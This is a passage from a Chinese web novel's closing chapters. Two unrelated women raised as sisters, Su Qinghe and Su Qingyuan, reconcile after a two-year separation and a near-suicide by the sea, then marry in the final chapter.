她麻木不仁地独自过了这两年,平淡和孤寂笼罩住她,她像蒙在一层薄雾里,不肯出来,也明知道只要跳出那层薄雾,就什么都可以承认了。 可是她好蠢,她站在原地,侥幸且自私地妄图别人来改变这一切。她将姐姐弄得遍体鳞伤,却还想要姐姐不计较一切地来原谅她…… 这个世上,没有再比她更残忍的人了。 她抬头,望向远处那呜咽哀嚎着的大海,海浪拍打着悲伤,吞噬了所有一切的希望。 ——我宁愿你在两年前就死了。 脑海中回荡着姐姐对她说的最后一句话,苏青荷双眸里泛起最后一点微弱的光,她朝那漆黑的大海走去…… 第49章 海浪一下一下呜咽涌过来,双腿冰湿。 苏青荷坐在那石礁上,风吹起她的长发,她望着远处漆黑看不到尽头的海面,心如死灰。 徐琦下了车,看见空荡的海面上只有她一个黑色背影,站在后面吓得喊她:“荷荷,你不要做傻事,你姐姐马上就过来了!没有什么事是解决不了的!你快回来!” 苏青荷出了酒店离开后,徐琦见她状态不对,就开车追了出去。 她找了一路,才在不远处的海边看见她的背影。 苏青沅也收到了一条短信。 【姐,如果我真的死了,你会原谅我吗?】 还没有来得及反应,她就接到了徐琦的电话。 开车到海边,苏青沅望见那道身影,忙跑过去。 苏青沅伸手把她拽回来,恨到极点,怒道:“苏青荷,你知道自己在做什么吗?!你想用死来逼迫我吗?你真的是这样的人吗!!” 苏青荷抬头望着她,静静看着她的双眼,一动不动,默默良久,才终于颤抖地哭,她摇着头呜咽:“我不知道,姐,我不想活着了,我好累,我真的觉得好累……如果我真的死了,你还会怪我吗?” 苏青沅听得心惊,伸起巴掌要挥过去,却又没有舍得打她,在半空中愣住手。 她攥住手心,眼眶酸涩地盯着她怨怪说:“如果你死了,我会怪你,我永永远远都不会原谅你!” 苏青荷隔着昏暗朦胧的天看她,眼泪不受控制地滑落下来。 苏青沅忽然伸手捧住她的脸,低头吻上她的唇。 两年了,没有人知道她有多想念她。 那几百个日日夜夜,她想她想到发疯,她也不知道自己是怎么熬过来的。 知道她还活着的第一个念头,她又有多激动和欣喜。可是,她又万万没有想到,她会和别人在一起,又让她这两年的思念和痛苦,全部变成了可笑。 她多恨她,可她究竟还是爱她。 爱到宁愿把自己伤得体无完肤,依旧还是舍不得她。 她也多想折磨她,让她尝一尝自己受到的痛苦,可是,苏青沅承认,伤害荷荷的同时,她也是在伤害自己。 这样的无可奈何,快要将她撕成了碎片。她恨荷荷怎么可以这样忽视她的爱,忽视她的痛苦,如果她的爱和她同等,她又怎么可以忍心欺骗伤害她。 思念在这一刻决堤,彻底奔涌。 苏青沅低头哭着亲吻她,失而复得与无奈的痛苦一齐撕碎了她所有的情绪和理智。 苏青荷早已站不住,勾住她的脖颈,整个人倾覆在她身上,被迫承受这两年来唯一最深刻的一个吻。 苏青沅带她回了酒店,她浑身湿透,又让她洗了澡。 出来的一瞬间,苏青沅低眸不看她,淡声说:“你住哪里,我送你……” 话音未落,苏青荷拥上来,双手抱住她。 “我不走。” 苏青沅低头望着她的头顶,没有伸手拥抱她。 半晌,苏青沅拉开她的手,转身离开。 苏青荷跟上去,从身后抱住她。 苏青沅依旧没有动,感受着这个熟悉的失而复得的怀抱,轻轻无奈地闭上眼睛。 唇瓣忽然爬上来,人早已不知何时绕到了她身前,苏青荷仰头看着她,小心翼翼地亲吻她。 苏青沅皱眉睁开眼,客厅里昏暗,她感受到脸颊上贴过来的温度,唇舌相缠间,她伸手抱住她的腰,从后按住她的脑袋,加深了这个吻。 她想她太心软,这个被苏青荷劈杀得鲜血淋漓的苏青沅,为什么不肯长记性。 如果有一天痛苦和绝望再次上演,她想她是活该。 滚落进沙发里,苏青沅欺身而上,双手捧住她的脸颊,低头啃噬她的唇舌。 身体在一瞬间本能涌起欲.望,她们在一起六年多近七年,几乎熟稔得不能再熟稔,思念也在这一刻彻底塌陷,抛弃爱与恨,苏青沅无法控制住自己不要她。 她也依旧恨她,可还是爱她。 身体激起颤栗,苏青荷抑制不住哭泣,她贴在姐姐的脖颈里,一遍遍地告诉她:“对不起,姐,真的对不起……” 苏青沅咬住她的唇,逼停了她所有要说的话。 失去与重逢,任何言语仿佛都是苍白无力。 这一刻,仿佛只有彼此占有,才可以真真实实地填补这两年的空白。 几乎快要到天亮,苏青荷累得体力不支,半昏半睡失去意识。 苏青沅抱她进卧室,昏暗里,她低头看着怀里的人,唇瓣被咬出了血,干涸在唇角,像染血的蔷薇。 她慢慢凑过去,低头用唇碰了一下。 天亮后,苏青荷忽然在梦中惊醒,她望着天花板失神了好一会儿,像是想起什么,忙坐起身喊:“姐——” 四处环顾,空空如也。 身体深处传来异样,苏青荷坐在那里失神,房间里什么也没有,窗帘拉起来,只剩下昏暗的一点光亮,她低头望见身上的印记,一切都像是一场梦一样。 强撑着下床,房间里只有她一个人,所有的行李物品全都没有了。 电话里,前台告知她,房主苏青沅已经离开了。 机场候机室里,徐琦望着坐在那里独自失神的人,知道她昨晚和苏青荷在一起,今天天一亮就订了回国的机票。 徐琦拿着水杯走过去,放在她面前,淡声开口道:“真的不带她一起回去么?” 苏青沅低头,沉默良久没有开口。 徐琦坐下来,收回视线。 这一场爱恨纠葛,是她亲眼见证的。是是非非,其实从一开始就说不清楚。 这一次是苏青荷的错,可归根到底,源头还是在苏青沅身上,她其实能够感受到苏青荷的矛盾。或许这世上的爱情都没有对错,有的不过是遗憾和无奈而已。大约也是命中注定要有此一遭,因为不这样,苏青荷就无法确认自己究竟有多爱苏青沅。 任何人都能够看得出来,苏青荷是爱苏青沅的,这一点,谁也不用质疑。 这两年来,徐琦也亲眼目睹了她的痛苦,没有苏青荷,她是活不下去的。 折磨别人的同时,她也是在折磨自己。 “原谅她吧,我看出来,所有人也能看出来,她确实是爱你的。乔楠也对你说过,不是么?她和乔楠之间,真的没有什么。” 徐琦想起那日在庄园,乔楠对苏青沅说的那一番话。 言语间,乔楠是对苏青沅不满,可她还是承认了,苏青荷是爱她的。这两年,苏青沅受折磨,苏青荷也未必就好过多少。 其实没有什么误会,不过就是她们彼此爱得太深刻罢了,所以才会容忍不了一丝一毫的欺骗与分离。 已经这样苦了,两年的时间,太久了。也够了,既然相爱,又何必再添无谓的伤害。 伤害苏青荷,难道她就能好过吗? 徐琦不放心她,也同样不放心苏青荷,她看着眼前的人,道:“如果她再干一次傻事,你就保证自己真的不会后悔吗?” 苏青沅垂眸,道:“她不会的。” 徐琦:“不要高估她,她也早已不是从前的苏青荷了。” “如果我没有到L国来,她会回来吗?”苏青沅沉默了许久,终于问出这句话,长眸落寞低垂着,她苦笑道,“从来都是我向她走九十九步,只要她往回迈出一步,我都会欣喜若狂,或许我们之间,卡住的从来都不是别人,她算准了我爱她,所以总是理所应当地做这一切,她或许考虑过我的感受,可是不够,真的不够。” 徐琦明白她的无奈,也理解她的痛苦。 她要的,从来都是一个全心全意的苏青荷。 “这一次,她会回来的。”徐琦坚信地告诉她,“其实她爱得不会比你少。” 苏青沅沉默,身后播报着开始登机的声音,她看向玻璃窗外,不知道何时升起的太阳,那样浓烈刺眼,仿佛昨日的那场大雪,从来没有来过。 一周后,苏青荷辞去了翻译社的工作,玛丽为此挽留了她好几天,最后见她去意已决,就没有再坚持。 回国前,Joanne带着miya邀请了苏青荷去家里吃了一顿饭,做临走的告别。 花园里,miya在玩沙土装车的玩具,Joanne面带笑容地看着她,又问:“决定要回去了吗,什么时候的票?” 苏青荷嗯了一声,说:“明天一早。” “你其实早就想要回去了,是不是?”Joanne想起上个月无意中,看见她电脑上搜寻回国的航班记录,也知道她早就有离开的心了,只是一直犹豫不决。 苏青荷低头沉默,半晌开口:“我不知道回去究竟还能不能弥补什么,只是确定,如果我不回去,我会遗憾终生。” Joanne笑,望着miya的眼睛里满是温柔与美好,对她说:“做让自己不会后悔的事情吧,没什么大不了的,管天会不会塌下来呢,不会塌怎么样,真塌了又怎么样?都是自己给自己寻的烦恼。” 苏青荷听着她深意的话,勾唇轻笑:“是啊,你轻而易举就明白的道理,我却用了好多年才懂。” “去吧Susan,一定要幸福。” “谢谢,我会回来看你和miya的。” 新的一年又来了,苏青荷是一早的航班,因为隔着时差,到达A市的时候,正好是下午四点钟。 国内天气很好,阳光明媚。时隔两年,下飞机的那一刻,苏青荷忽然觉得恍惚。 A市机场里永远人山人海,她站在人群里,想起上一回,姐姐和她在这里告别,谁知道,那会是她们最后一次见面。 她也不知道,后来姐姐独自去L国找寻她,在得知她的死讯后,又是以什么样的心情回国的。 终究是她太残忍。 循着记忆打车回到家,她站在门口。 看见院子里还停着她的那辆车,她走过去,抬手要输密码。 手指停在半空中,犹豫良久,输下一串数字。 嘀一声,显示开锁成功。 依旧是她的生日。 苏青荷垂眸,眼泪弥漫上来,模糊了她的视线。 与此同时,苏氏集团会议室里。 苏青沅正开会中,看见一旁手机屏幕上忽然显示一条蓬溪别墅大门设备提醒。 她恍惚怔在那里,久久没有回过神。 “苏总,苏总……”一旁徐琦喊了她好几声,才问,“您怎么了?” 苏青沅抬头,有片刻的失神,她合上电脑,淡声说:“会议取消。”随即起身离开。 会议室里众人疑惑,都愣在原地。 徐琦看着她失控的神情与离去的背影,心中早已猜出了七八分。 大概,是苏青荷回来了。 瞧,口口声声说恨的人,即便一点点的消息,也可以随时随地牵动着她的心。 终究这个世界上,没有人比她更爱苏青荷。 第50章 苏青沅开车离开公司,傍晚夕阳从窗外映射进来,在她身上洒下鎏金的光芒。 一路上,她静静望着前面的公路,思绪和缓,却又依旧不平静。 她知道她回来了。 不知道为何,虚空和痛苦仿佛只在一瞬间就消失不见了。 她想,她一直都是需要她的。 车子开到别墅外,苏青沅没有停进去。 她坐在车里,一直等到了天黑。抬头远远看过去,二楼房间有光亮。这栋房子像曾经死去过,可现在,又因为回来的人,重新有了鲜活的温度。 像那温和的橙黄色的光芒,抚平了她所有的伤痛与思念。 抬手拂去眼泪,苏青沅深吸了一口气,倒车出去,离开了别墅。 夜晚风冷,吹走了她所有的眼泪。 一直到八点,公司加班的徐琦突然接到一则陌生电话。 她接通,“你好,我是徐琦。” “徐琦姐,我是苏青荷。” 徐琦轻愣,道:“荷荷,有什么事吗?” “姐姐在吗?” 徐琦看了眼空空的办公室,“她没有回去么,下午的时候她就走了。” 苏青荷低头抿住唇,没有说话。 徐琦见她沉默,也猜出来她回国了,又解释道:“她这两年都没有在家里住,都住在公寓里,公寓的地址我发给你,如果不在的话,你再去绝色酒吧看看,她没什么地方可去,基本也就这两个地方,这两年,她除了工作就是工作,不然就是把自己喝得烂醉,她知道你回来了,大概还是忍不下心来去见你,荷荷,多朝她走几步吧,为了爱你,她大概已经用尽全部的力气了。” 苏青荷喉间酸涩住,沙哑道:“我知道了。” 挂断电话,苏青荷打车去了徐琦给她的公寓地址,她敲了很久的门,也没有人在。 后来她又去了绝色酒吧,因为元旦放假,那里人山人海,苏青荷找了一遍又一遍,也没有找到人。 转身撞上从洗手间里出来的人,苏青荷还没有抬头,就听见了对方惊讶地喊她:“青荷……” 苏青荷抬头,发现竟然是文蓝。 文蓝眼里有太多的讶异和不相信,早在两年前,她就听说,苏青荷在国外去世了。 这两年,苏青沅堕落沉溺在酗酒之中,也证明了这一点。她也常常会在这里遇见她,今晚也同样是。 可是,苏青荷居然就这样出现在了她眼前。 文蓝难以置信地望着她,*口里呢喃:“竟然真的是你,你还活着。” 苏青荷看着她没有说话,转身要离开。 文蓝也愣在原地,早已失神恍惚住。 “姐姐在这里吗?”苏青荷忽然停下来,转头问她。 文蓝望着她,一颗心忐忑不安,砰砰直跳,她淡声说:“不在。” 苏青荷看着她心虚的神情和眼神,知道她在说谎,也没有再问下去的必要。 她转身往外走,刚走了两步,旁边忽然有个女人靠近,酒气扑鼻而来,搂住她的腰,笑问:“美女一个人吗?” 苏青荷吓了一跳,还没有来得及抬头。 身后忽然传来熟悉的声音:“放开她!” 苏青荷愣住,转过身看见不知何时出现在她身后的人,酒吧里昏暗嘈杂,她隔着距离看见她朝自己走过来。 苏青荷眼眶酸涩住,朝她走了两步,看着她的眼睛轻喊:“姐……” 苏青沅望着她,眼睛里有不舍和哀伤,视线移开不肯看她,她垂眸说:“你走吧。” 苏青荷走上前,伸手去牵她的手,她的手冰凉而潮湿,苏青荷小心翼翼地拉着,慢慢贴过去,仰头要去吻她的唇。 唇瓣相贴的一瞬间,苏青沅忽然转过头,她抽回手心,背过身去,拧眉说:“你走吧,我不想见你。” 苏青荷看着她的背影,心里哽咽住,哑着声音开口:“我不走。” 文蓝站在一旁看着她们,她走过去,走到苏青沅面前,低头拉住她的手,轻声喊:“青沅。” 苏青荷微怔,望着她们相牵的手,眼泪迷蒙上来,只觉得心碎如刀绞。 她没有再说话,转身离开。 苏青沅还站在原地,感觉到身后的人已经离开了,她抽回自己的手,冷声说:“你回去吧。” 文蓝望着她颀长的侧影,心里有不舍,她喜欢了她很久,也只有苏青荷不在的这两年,她才离她稍微近一点,纵然也知道刚刚,自己不过是她用来敷衍苏青荷的利用对象,可是她依旧愿意靠近她。 文蓝伸手拉住她的手臂,仰头终于开口告诉她:“青沅,我喜欢你,从第一眼见到你起,我……” “滚。”苏青沅冷冷拒绝了她,眼里聚起冷意转过头,目光前所未有的冷漠盯着她,无情地开口,“你以为我不知道你对荷荷做了什么,荷荷把你当成朋友,你呢?你配站在这里和我说话么,我没有对付你,不过是看在荷荷的份上!妄图取代荷荷在我心里的位置么,告诉你,一百个你也不够格!” 苏青沅无情宣泄完,没有留一丝的情面,转身离开。她在一年前才知道,荷荷的新书是文蓝动了手脚,而那份匿名的伪造的血缘关系鉴定书,也是她寄来的。 是她催化了这一切,如果没有这两件事,荷荷不会崩溃,也更不会为了散心差点溺亡在异国深海之中。荷荷能活下来,是她的奇迹,她也差一点点就永远失去了她。 文蓝愣站在原地,眼眶逼住眼泪,久久没有回过神来。 她像做了一场美梦,一个由她一点一点精心编织了多年的绮丽的梦幻的美梦,可是这一刻,却被人无情撕扯开,彻底分崩离析。 她无法把眼前的苏青沅,和她记忆里那个优秀的温柔的苏青沅合二为一。 她爱上的,不过是爱上苏青荷的苏青沅。 秋冬深夜,酒吧外来来往往。 苏青荷蹲坐在草丛边石阶上等她,入夜忽然下起了淅淅沥沥的小雨,她把羽绒服帽子遮起来,一直等到了近乎凌晨。 时差倒的她昏昏欲睡,她抱住双膝低下头,闭上眼睛,头昏沉沉地什么也想不起来。 恍惚中,忽然被人腾空抱起。 苏青荷忙惊醒回来,抬眼看见眼前的人愣住。 苏青沅抱起她往停车场走,声音淡淡:“下雨了,你不知道吗?” 苏青荷声音蒙上哭腔,说:“我,我想等你。” “不许哭。” 苏青荷望着她,努力不让自己流眼泪,可是她抑制不住,眼梢轻颤的瞬间,眼泪还是从眼眶里流淌下来。 “等多久呢,我如果一直不见你,你愿意等多久?”苏青沅抱她走到车旁,拉开车门,将她放进车后座上,没有离开,她微倾着身体望着她哭红的眼睛。 苏青荷仰着头看她,说:“我会一直等,一直等,永远都不离开。姐,对不起,一切都是我不好,你原谅我,好不好?真的对不起……” 苏青沅望着她流淌不止的眼泪,伸手替她抹去,这双眼睛里布满了悲伤与苦痛,她也终于明白,两年的分离,带来的伤痛和苦难,是她们共用的。 她们也早就是不可分割的整体,如果要追究到底,是她当初把荷荷拉进这个深渊里的,一切爱恨由她而起。 “想我吗?”苏青沅轻捧她的脸,轻轻地问。 苏青荷崩溃地哭,双手圈住她的脖颈,整个人埋进她颈窝里,嗯了一声,哭着说:“想,天天想,时时想,我没有一刻停止过想你,也从来没有一刻停止过爱你,姐,我爱你,你愿意相信我吗?” 苏青沅抚着她的脑袋,也不由地心酸地眼眶湿润。 她重新捧住她的脸颊,不住地替她擦拭泪痕,温柔地说:“不哭了,荷荷。” 低头吻上她的唇,苏青沅细细描摹她的唇瓣,攻略进齿舌之中,舔舐啃咬,所有的思念与爱意,在这一刻如洪水滔天涌出,再也无法收回。 苏青沅知道,自己就这样轻而易举地原谅了她,也轻而易举地就此放弃折磨她。 没有别的原因,只是她实在爱她。 只要荷荷愿意向她走一步,那么她就愿意且心甘情愿地走剩下的九十九步。 没有办法开车,苏青沅带着她打车回到家。 抱她上楼,将人压进柔软的被子里,苏青沅低头吻她、占有她。 爱意不可诉说,只有占有才可以宣泄。 没有人可以站在她们之间,这样最亲密的事,这个世上,也只有她们两个人可以做。 苏青荷仰起头,唇齿嗑在深处,她有一些疼,可还是默默忍受了。 她不要温柔,只需要疼痛,才可以牢牢记住姐姐的爱意有多浓烈和深刻。 凌晨三点,苏青荷依偎在她怀里,身体抑制不住地颤栗,久久无法停歇。 苏青沅感受到她的颤抖,她低头再次吻住她的唇,一直过了很久,才双双平息。 床上凌乱而不堪,苏青沅伸手理她额头潮湿的碎发,温柔地开口道:“想洗一洗么?” 苏青荷昏昏欲睡,浑身四肢百骸充斥着滚烫的热浪,她轻轻睁开眼,说:“我想跟你一起洗。” 苏青沅轻勾唇,答应道:“好,我抱着你。” 浴室里又几乎折腾了近乎两个小时,快要到天亮,苏青荷实在是无法支撑了,意识浮沉着昏睡过去,身体深处麻木失去了知觉。 泥泞不堪,床单被套来不及收拾,苏青沅抱着她换了个房间,新的被子新的床单,又开了空调,她抱她上床。 紧紧对拥着,苏青沅挽住她的细腰,指腹轻蹭着,久久无法入睡,她默默低头看着怀里的人,眼睫上挂着湿润,红红的脸颊,微肿的唇瓣,她疼爱了千遍万遍,依旧舍不得闭眼,生怕再次醒来后,所有的一切都是一场空梦。 她真的不能够失去她的荷荷。 苏青沅低头吻她额头,动作温柔缱绻,她轻轻牵起唇瓣,呢喃道:“荷荷,姐姐爱你,真的真的爱你……”《 》 第51章【VIP】 第51章 清晨,苏青荷睁开眼的一瞬间,下意识坐起身寻找身影。 床上空空如也,房间里也没有,她掀开被子,忍着身体的不适,出了卧室。 走到楼梯上,才看见楼下厨房里的熟悉身影。 苏青沅听见身后的动静,转过身来,隔着距离望见她穿着睡裙,光脚站在那里发呆,她笑了下,温柔道:“醒了么,要不要再多睡一会,才九点不到。” 苏青荷下楼,朝她冲过去,张开双手扑进她怀里,紧紧贴住她不肯松手。 苏青沅感受到怀里温软的身体,不由牵唇笑,“怎么了?” “我以为你又走了。”苏青荷声音沙哑地蒙上一层哭腔,害怕地说道,“就像那天早上一样。” 苏青沅回抱住她,手掌轻抚在她脑后,坚定地答应她,道:“不会了,我再也不会走了。” 苏青荷哭着说:“真的吗?” 苏青沅撑开她的怀抱,看着她哭得满面泪痕,她笑着伸手替她擦掉眼泪,说:“真的,以后也不要再离开我了,好不好?这两年,我……过得很幸苦。” 苏青荷眼泪止不住地流,她哭着点头,答应道:“我不离开姐姐,永远都不离开。” 苏青沅笑着拦腰将她抱起,把她抱上楼坐在床边,伸手握住她的脚踝,冰凉没有温度,她问:“冷不冷?” 苏青荷抿着眼泪,笑着摇头。 苏青沅找来袜子,要替她穿上。 苏青荷见状,自己伸手去拿,被眼前的人格开了,苏青沅望着她,“我来。” 苏青荷坐在床边,看着蹲在面前替她穿袜子的人,她忽然觉得恍惚,此刻,她不是失而复得的喜悦,她为这个轻而易举就原谅她的姐姐而感到难过与愧疚。 这个世上,再也不会有人像姐姐一样对她好了。她也痛恨两年前的那个自己,为什么会舍得狠心做那样的决定,是她自私且狂妄,把姐姐伤得太深。 是她的执妄太疯,为什么总要纠结不想干的问题,她在乎的难道不是姐姐吗?如果她在乎,又为什么肯亲手伤害她? 她不知道是时间的力量,还是苦痛的力量,虚妄在这一刻忽然彻底消失,她忽然不在乎任何人,只想要眼前的这一个人。 苏青沅抬头,看见眼前的人眼眶湿润,只怔怔地盯着她失神,她握住她的脚踝,轻声问:“怎么了?” 苏青荷伸手将人拉起来,坐在床边抱住她的腰,把脸颊贴在她的身前,轻轻喊:“姐……” “嗯。”苏青沅回抱住她,伸手抚摸她柔软的头发。 “我从前是不是很坏?”往事历历在目,苏青荷忽然回忆起过去的自己,她也曾说过太多太多过分的话,做了太多任性的事情,从来都是姐姐迁就她,让着她,可这个世上,凭什么应该有这样理所应当的事情?她们没有血缘关系,不是真的亲姐妹,她也早就知道了这件事,可她却从来没有吝啬过自己的爱。 一直走向自己的人,从来都是姐姐。 苏青沅低头望着怀里的人,她能够感受到她的愧疚,两年,一下子把她们全都改变了,苦痛让她们比从前更勇敢,却也更怯弱。 勇敢地认清在乎,却又怯弱失去。 她不愿意见到一个处处小心翼翼迁就她的荷荷,她想她像从前一样开朗活泼爱笑,她知道这需要时间,也同样需要力量。 她们全都需要。 苏青沅捧住她的脸,低头看她,认真地说:“荷荷,我不怪你。那不是你一个人的过错,姐姐同样造成了那一切,生命有时候就是这样,仿佛不经历一些风霜,我们彼此都不明白,对方在自己心里的位置和重要,索性上天对我们还是仁慈的,是不是?我们还有很长很长的时间,这不是结束,而是一种新的开始,我们可以拥有整个生命的长度去相爱,这不是遗憾,是另一种幸福,对不对?” 苏青荷眼泪从眼眶滑落进发丝里,哭着嗯了一声。 “不哭,荷荷。”苏青沅望着她的眼泪,忍不住眼眶也湿润,她抿起笑替她擦眼泪,“告诉我,你爱我,是不是?” 苏青荷看着她,坚定地说:“嗯,我爱你。” 苏青沅笑:“这样就够了。” 苏青荷伸手勾住她的脖颈,苏青沅配合着弯下腰来迁就她,苏青荷贴在她颈窝里,眼泪湿润蹭在她身上,开口说:“我不离开姐姐,永远都不离开。” 苏青沅抱住她,从来没有这一刻,她们两颗心靠得如此紧密。 窗外冬日阳光明媚,透过玻璃照进来,落在她们身上,幸福和一切美好,也由此开启。 苏青沅擦去她所有的泪痕,低头碰了碰她的唇,哄着说:“不哭了,好不好?” 苏青荷点点头,“嗯。” “饿不饿?” “饿。”苏青荷说,“我想吃你煮的海鲜面。” 苏青沅笑:“马上就好。” 想起来什么,苏青荷忙又问:“你今天不上班吗?” “不上,最近我都在家陪你。”苏青沅看着她的眼睛,道,“公司最近都没什么重要的事,不用担心,就算有也没有关系,我想陪着你,一步都不想离开。” 苏青荷伸手搂住她的脖颈,整个人挂在她身上,“姐,我好想好想你。” 苏青沅托住她,双手抱住她,笑着说:“不下来么?” “不下,我只想抱着你。” 整整一周时间,她们一步也没有分开,思念有多深,情意就有多深刻。 她们窝在家里的任何一个角落,诉说两年里的事情与思念,做这世上最亲密无间的事情,几乎无时无刻。 深夜里,苏青荷贴在苏青沅怀里,整个人余.韵未歇,良久之后她仰头吻她的唇,轻轻喊:“姐……” 苏青沅迷迷糊糊沉睡着,却还是听见了她的声音,低头蹭她的脸颊应她:“嗯。” “我们去结婚,好不好?” 苏青沅轻愣,她在漆黑里睁开双眼,接着一点光亮低头望着怀里的人,一双眼睛照得明亮真诚,她单手捧住她的脸颊,道:“荷荷,我不需要你迁就我,如果……” “没有如果。”苏青荷打断了她的话,坚定地望着她,“我没有迁就你,即便退一万步,我也心甘情愿可以为了你而迁就,难道,你没有迁就过我么?或许,这也不是迁就,这是爱,是不是?” 苏青沅看着她,心底仿佛有热流涌过。 苏青荷闭眼贴她的唇,哄人那样引诱她,又继续说:“我不在乎别人,只在乎你,姐,我不是十八岁,我快要二十七岁了,我清楚地知道,也明白自己在说什么、做什么,或许从前我有过矛盾,有过彷徨,也有过畏惧,可是这一刻,我忽然觉得那些不重要。我也有我想要在乎,想要守护的人和东西,姐姐就是我最在乎的。我也明白,或许这个世上本就没有办法两全其美,想要得到一些,就注定要失去一些,我不再贪心妄图让一切都完美,我只想要你。我们都不知道未来是什么样的,如果有一天前面依旧是深渊,我也宁愿走下去,绝不后悔。姐,你愿意和我一起吗?” 苏青沅早已眼眶模糊,她轻轻转过身去,背朝着她,眼泪从眼眶里滑落进枕头里。 曾经她拼命想要得到的,此时此刻就在她的眼前。时过境迁,她不知道自己听到荷荷这样的话,心情有多么复杂。 她像一个一无所有的人,后来一点点攀寻,好艰难地得到了连她自己都不相信的一切,她精心费力小心翼翼地守护着她得到的那些,可却在一日清晨,忽然全部失去。 这样的过程,只有她知道,有多么深刻和艰辛。 可是这一刻,她祈求的一切就在她的眼前,只要伸手就可以够到的距离,可她却有了不敢伸手的怯懦。 她想,这个爱苏青荷的苏青沅,一直是卑怯的。 苏青荷躺在那里,看着眼前背朝她的人,微弱的光芒映在她的肩头,生出落寞与孤寂。 是啊,她拒绝了姐姐那么多次,凭什么就要求姐姐立马就答应她? 她也记得那个在街头的深夜,姐姐向她问过同样的话,那时候的她,亲口拒绝了她。 或许那一刻的姐姐心里,和此刻的自己,有着一样的心痛和无奈。 苏青荷轻轻贴过去,伸手搂住她的腰,把脸贴在她后背上,听着她的心跳。 “对不起姐。”苏青荷轻轻开口,“不论你愿不愿意,我都不会离开你了。以前是我……” “你反悔了吗?” 耳边突然传来一道声音,苏青荷愣在那里,久久没有回过神来。 片刻,苏青沅重新转过来,抱住她的腰,把她整个人抱到自己的身上,轻捧她的脸颊,再次问:“刚刚的话,还算数吗?” 苏青荷恍惚住,像是没有听清,怔怔问:“什么?” 苏青沅牵唇,故意不满地问:“这就是你重新追人的态度么,刚说过的话,就要反悔,我不知道,自己到底要不要相信你。” 苏青荷明白过来她话里的意思,她笑着说:“我不反悔,我永远都不反悔。姐,你是答应和我结婚吗?” 苏青沅扬眉,“你是在求婚吗?” 苏青荷笑着搂住她的脖颈,在她唇上亲了一下,“是啊,你答应吗?” 苏青沅抱着她转了个身,将人抱到另一边,故意一本正经地说:“看你表现吧。” 嗯嗯嗯? 这是什么意思? 苏青荷睁着大眼望着她,没有说话。 苏青沅低头睨着她漂亮的双眸,扬唇笑说:“苏青荷,这就是你求婚的方式么,太没有诚意了,我需要考虑一下,再答复你。” 苏青荷听出她打趣的话,笑着埋进她怀里,啃她的下颌,又寻她的唇,不满道:“你不许不答应,要不然,要不我就……” “就怎么样?”苏青沅见她停住,顺着她的话问。 指尖在腰后胡闹,苏青荷搂住她的脖颈,翻身趴在她身上,贴在她胸口,轻轻说:“就把你吃掉。” 苏青沅被迫承受着她几近啃噬的吻,她抚住她的脑后,加深了这个吻。 腰腹上被她弄得湿漉漉的,苏青沅轻拍她的腿,“不下来?” “不下。”苏青荷挂在她身上,固执地专心继续吻她。 苏青沅被她弄得发笑,她捧住她的脸,格开了亲吻,笑着问:“真不下来?” 苏青荷望着她,晶亮的双眸有一点湿润,像照亮的细闪钻石,盛满了爱意与欲.望。 “还要吗?” “要。”苏青荷贪恋地贴在她怀里,幽幽地说,“要不够一样,姐,我是不是有毛病?” 苏青沅笑,把她重新按下来,咬住她的耳郭,轻声说:“不是毛病,我爱不释手。荷荷,叫姐姐。” “姐姐。” “再叫一声。” “姐……姐姐……”《 》 第52章【END】 第52章 一月底,靠近年关。 苏青荷重新登记,找回了自己的身份。两年前,她在L国失踪,后又报死亡。现在回来,她依旧用回了苏青荷这个名字。 她的户口一直是跟着母亲的,后来母亲去世,也就一直没有管。母亲没有什么亲人,户口自动更改,苏青荷和姐姐也一直不在一个户口上。 办理好身份证明后,苏青荷与苏青沅在A市民政局登记结婚。 登记人员看见两人的名字愣了一下,又看了看两人的长相,又再次确认一下是否有血缘关系。 两人又再次澄清,说无血缘关系。 只不过是因为长辈渊源,所以取了相近的名字。 最后签署了文件,成功办理了结婚登记。 出民政局的那一刻,苏青荷抬头看着头顶上蔚蓝的天空。 苏青沅跟出来,单手环上她的腰,跟着一起抬头看,问:“在看什么?” “姐,你看今天的天空好蓝。” 苏青沅抿起唇笑,“是啊,很漂亮。” “你说,每天都会有这样蓝的天空吗?” “没有也没有关系,有我陪着你,不好么?” 苏青荷转头,看向身旁的人,双手抱住她的脖颈,低头吻她,“苏青沅,我爱你。” 苏青沅挽住她的腰,笑道:“我也爱你,荷荷,我们再也不分离。” 苏青荷抵着她的额头,嗯了一声,“永远不分开。” 苏青沅带着她离开,苏青荷笑着问她:“我们去哪?” “去吃饭。” “还有呢?” “你想去哪里?” “不知道。”苏青荷说,“但我只想和你在一起,哪里都好。” 新的一年由此开启,苏青沅开车带着苏青荷,在公路上行驶往前,橙黄色灿烂的光芒从窗外照进来,连气息都是幸福的。 苏青沅伸手拉住她的手,苏青荷转头看她,彼此相视一笑。 过了年,三月份,苏青荷接到了一通电话,是乔楠打来的。 时隔几个月,接到这样一通电话,苏青荷忽然觉得恍如隔世。 “听说你结婚了。”电话那头传来淡淡的声音。 苏青荷站在阳台外,垂眸沉默片刻,随后嗯了一声承认。 “恭喜你。” “谢谢。” “上一次,对不起。一直都没有正式和你道个歉,是我不好。” 苏青荷没有说话,半晌之后,才轻轻说:“都过去了。” 电话里有长久的沉默,终于最后乔楠才开口道:“荷荷,祝你幸福。” 苏青荷心里有无限感慨,却又一个字也说不出来,最后也只生疏地回应她:“谢谢。” 电话挂断之际,苏青荷忽然又犹豫地喊住她:“乔楠——” “寻找自己的幸福吧,不论你在哪里,我都会祝福你。” 没有什么是无法释怀的,苏青荷不想用这样冷漠的方式和她告别。 人生长河,她们都在彼此的生命里出现过,青春年少,那也是一段美好的时光,苏青荷想要真诚地祝福她。 电话那头没有说话,良久乔楠才笑着说:“好,我会的。” 电话挂断,苏青荷站在阳台上,驻足良久,抬头看远处绿意葱葱。 “谁的电话?” 苏青荷转过身来,望着玻璃窗里的人,隔着距离看她,她发现,自己格外爱她。 她朝她走过去,张开手臂拥抱她,埋进她的怀里,餍足地说:“没什么,姐,我好爱你。” 苏青沅笑着撑开她的怀抱,用手指轻碰她的脸,“怎么突然这样感性起来?” 苏青荷抵在她胸口,扬起笑脸,道:“没有嘛,就是想告诉你。” 苏青沅捏住她的脸庞,宠溺地笑道:“我听到了,每天都能听到。” “那你会听烦么?” “不会。” “真的吗?” 苏青沅笑着将人托起来,面对面抱住她,转身往房间里走,一边说:“当然,你不相信吗?” 摔进床榻里,苏青荷仰头看她,伸手勾住她,将人扯下来,笑着说:“亲亲我。” 苏青沅笑着依言吻她,“这样够么?” “不够。请继续。” 亲吻是开关,可以催生一切的情不自禁。 